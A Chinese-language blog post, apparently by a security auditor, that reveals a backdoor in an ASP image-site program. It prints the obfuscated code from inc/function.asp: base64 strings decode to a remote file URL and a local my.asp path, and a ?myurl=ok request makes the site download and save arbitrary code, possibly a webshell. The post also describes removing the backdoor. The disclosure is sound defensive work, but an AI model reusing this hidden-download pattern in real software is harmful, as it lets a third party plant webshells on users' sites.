程序开发:Feather(1601)

美阳图片程序破解方法

刚拿到程序的时候还是一头雾水的，但是我的客户多次被美阳爆.菊花，加上美阳本人吃了大蒜口气有点大，不得不竖起脑袋认真审计代码了

当时在想，inc目录下都是一些配置型的函数，会不会这里面有猫腻呢
看到有function.asp，算了，就打开来看看吧
结果，就破解了

来看看我是如何爆美阳菊花的
打开inc/function.asp

一直往下面看，一直看，是不是看到有一段很奇怪的代码，根据我的经验，这应该就是猫腻代码了
Dim urldzpay,urlpay,tianlas
tianlas=Request(“myurl“)
urldzpay=deco(“aAB0AHQAcAA6AC8ALwBtAHkAcwB6AGQALgBjAG8AbQAvADEALgBhAHAAawA=“)
urlpay=deco(“bQB5AC4AYQBzAHAA“)

很明显使用了base64加密了，但是为什么会加密呢？有点想不懂，但是我知道这里肯定有些东西不想让别人知道的
于是乎把base64加密的部分echo出来，呵呵，居然让我逮着了
urldzpay=deco(“aAB0AHQAcAA6AC8ALwBtAHkAcwB6AGQALgBjAG8AbQAvADEALgBhAHAAawA=“)
第一段加密 解密出来的内容是 http://myszd.com/1.apk
呵呵，我大概的就知道是怎么回事了，跟夏歌的差不多，都是通过远程访问触发后门
再来看第二段加密的加密内容 my.asp
就是这个文件，你们用盗版被黑，都是因为这个文件作怪，我第一次测试的时候发现了这个文件，只是简单的修改了，然后去论坛勾引美阳来黑，结果发现my.asp又恢复了原来的内容，这就说明肯定有其他文件可以恢复过来的
先不急，继续往下看
If tianlas=“ok“ Then
Call Save2Local(urldzpay,Server.MapPath(urlpay))
Response.Write “非常遗憾,您的主机不支持该组建,不能使用本程序“
Response.End
End If

当tianlas=‘ok‘的时候触发，然后进入一个文件保存的函数，这果断是有问题的啊
tianlas是由request(“myurl“)决定的，也就是说访问http://xxx.com/?myurl=ok，就会有个文件保存在本地
继续看，Save2Local(urldzpay,Server.MapPath(urlpay)) urldzpay是美阳网站上的一个文件地址，Server.MapPath(urlpay)是本地地址，也就是说当访问http://xxx.com/?myurl=ok就会把美阳网站上的某个网站保存到本地，但是我打开http://myszd.com/1.apk是空白的，没有文件
后来想想，我顿时就明白了，1.apk可以是任意的文件，可以是webshell，也可以是普通asp文件，总之他可以将任何的asp代码保存到你的网站里面！
我姑且这样想，假设美阳有100个用户，那么他将有可能在100个用户的网站里面保存了某个asp文件。。
而这个文件也许是webshell
当我把这段代码修改之后，美阳再也没法修改我客户的网站了

在当时，我修改之后把网址发给美阳，通过蜜罐，我可以清楚地掌握到美阳一直在尝试访问?myurl=ok,但是my.asp再也无法生成了，呵呵，这下后门算是完全清除了。
本文作者 0xAINI QQ247879